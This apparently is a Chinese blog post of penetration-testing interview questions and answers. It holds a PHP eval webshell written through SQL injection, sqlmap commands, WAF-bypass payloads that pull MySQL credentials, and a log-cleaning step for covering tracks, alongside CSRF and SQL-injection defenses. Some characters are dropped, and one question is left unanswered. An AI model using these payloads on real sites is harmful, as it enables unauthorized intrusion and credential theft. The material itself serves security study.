• shentou mianshiti


    给你一个网站你是如何来渗透测试的?

    在获取书面授权的前提下。
    1)信息收集,
    1,获取域名的whois信息,获取注册者邮箱姓名电话等。
    2,查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。
    3,查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IISAPACHE,NGINX的解析漏洞
    4,查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。
    5,扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针
    6google hack 进一步探测网站的信息,后台,敏感文件
    2)漏洞扫描
    开始检测漏洞,如XSS,CSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,文件下载,文件包含,
    远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等(可用扫描工具AWVS 、AppScan 、御剑、啊D、SQLmap等)
    3)漏洞利用
    利用以上的方式拿到webshell,或者其他权限
    4)权限提升
    提权服务器,比如windowsmysqludf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉,
    linux脏牛漏洞,linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权
    5) 日志清理
    6)总结报告及修复方案


    sqlmap,怎么对一个注入点注入?
    1)如果是get型号,直接,sqlmap -u "诸如点网址".
    2) 如果是post型诸如点,可以sqlmap -u "注入点网址” --data="post的参数"
    3)如果是cookieX-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用号替换,放到文件里,然后sqlmap -r "文件地址"

    布尔和延时注入的共同点?
    都是一个字符一个字符爆出来的,耗费时间,都没有显示位,都要ASCII 码推算。


    如何拿一个网站的webshell
    上传,后台编辑模板,sql注入写文件,命令执行,代码执行,
    sql注入写文件都有哪些函数?
    select '一句话' into outfile '路径'
    select '一句话' into dumpfile '路径'
    select '<?php eval($_POST[1]) ?>' into dumpfile 'd:wwwrootaidu.com vhack.php';


    如何防止CSRF?
    1、验证 http referer(它记录了此次http请求的来源地址)
    2、验证 token

    3、使用验证码


    owasp top 10 漏洞都有哪些?

    2017年:
    1注入
    2、失效的身份认证
    3敏感信息泄露
    4、XXE
    5、失效的访问控制
    6安全配置错误
    7、XSS
    8、不安全的反序列化
    9、使用含有已知漏洞的组件
    10、不足的日志记录和监控


    SQL注入防护方法?
    1对输入的特殊字符进行过滤(如正则表达式过滤)
    2、不要使用动态拼装SQL,可以用参数化SQL
    3、使用白名单来规范化输入验证方法
    4应用异常信息尽量给出少的提示,最好自定义错误信息对原始错误信息进行包装


    代码执行,文件读取,命令执行的函数都有哪些?
    1,代码执行:eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
    2,文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()
    3,命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
    img标签除了onerror属性外,还有其他获取管理员路径的办法吗?
    src指定一个远程的脚本文件,获取referer
    img标签除了onerror属性外,并且src属性的后缀名,必须以.jpg结尾,怎么获取管理员路径。

     

    绕过walf

    1、关键字可以用%(只限IIS系列)。比如select,可以sel%e%ct。原理:网络层wafSEL%E%CT进行url解码后变成SEL%E%CT,匹配select失败,而进入asp.dllSEL%E%CT进行url解码却变成selectIIS下的asp.dll文件在对asp文件后参数串进行url解码时,会直接过滤掉09-0d09tab,0d是回车)、20(空格)、%(后两个字符有一个不是十六进制)字符。xss也是同理。

    2、通杀的,内联注释。安全狗不拦截,但是安全宝、加速乐、D盾等,看到/!/Fack了,所以只限于安全狗。比如:/!select*/

    3、编码。这个方法对waf很有效果,因为一般waf会解码,但是我们利用这个特点,进行两次编码,他解了第一次但不会解第二次,就bypass了。腾讯waf、百度waf等等都可以这样bypass的。

    4,绕过策略一:伪造搜索引擎

    早些版本的安全狗是有这个漏洞的,就是把User-Agent修改为搜索引擎

    5360webscan脚本存在这个问题,就是判断是否为admin dede install等目录,如果是则不做拦截

    GET /pen/news.php?id=1 union select user,password from mysql.user

    GET /pen/news.php/admin?id=1 union select user,password from mysql.user

    1. GET /pen/admin/.. ews.php?id=1 union select user,password from mysql.user

    6multipart请求绕过,在POST请求中添加一个上传文件,绕过了绝大多数WAF

    7,参数绕过,复制参数,id=1&id=1

    用一些特殊字符代替空格,比如在mysql%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的安全狗,在sqlserver中可以用/**/代替空格

    8,内联注释

    人生得意须尽 莫使金樽空对月
  • 相关阅读:
    个人项目博客
    个人博客作业
    软件工程 热身作业
    OO第四次博客作业--第四单元总结及课程总结
    OO第三次博客作业--第三单元总结
    OO第二次博客作业--第二单元总结
    OO第一次博客作业--第一单元总结
    【杂谈】研究生最后一年学习计划
    【记录】一些非常方便的命令集合
    【Git】基本命令使用
  • 原文地址:https://www.cnblogs.com/puhk/p/10746893.html
Copyright © 2020-2023  润新知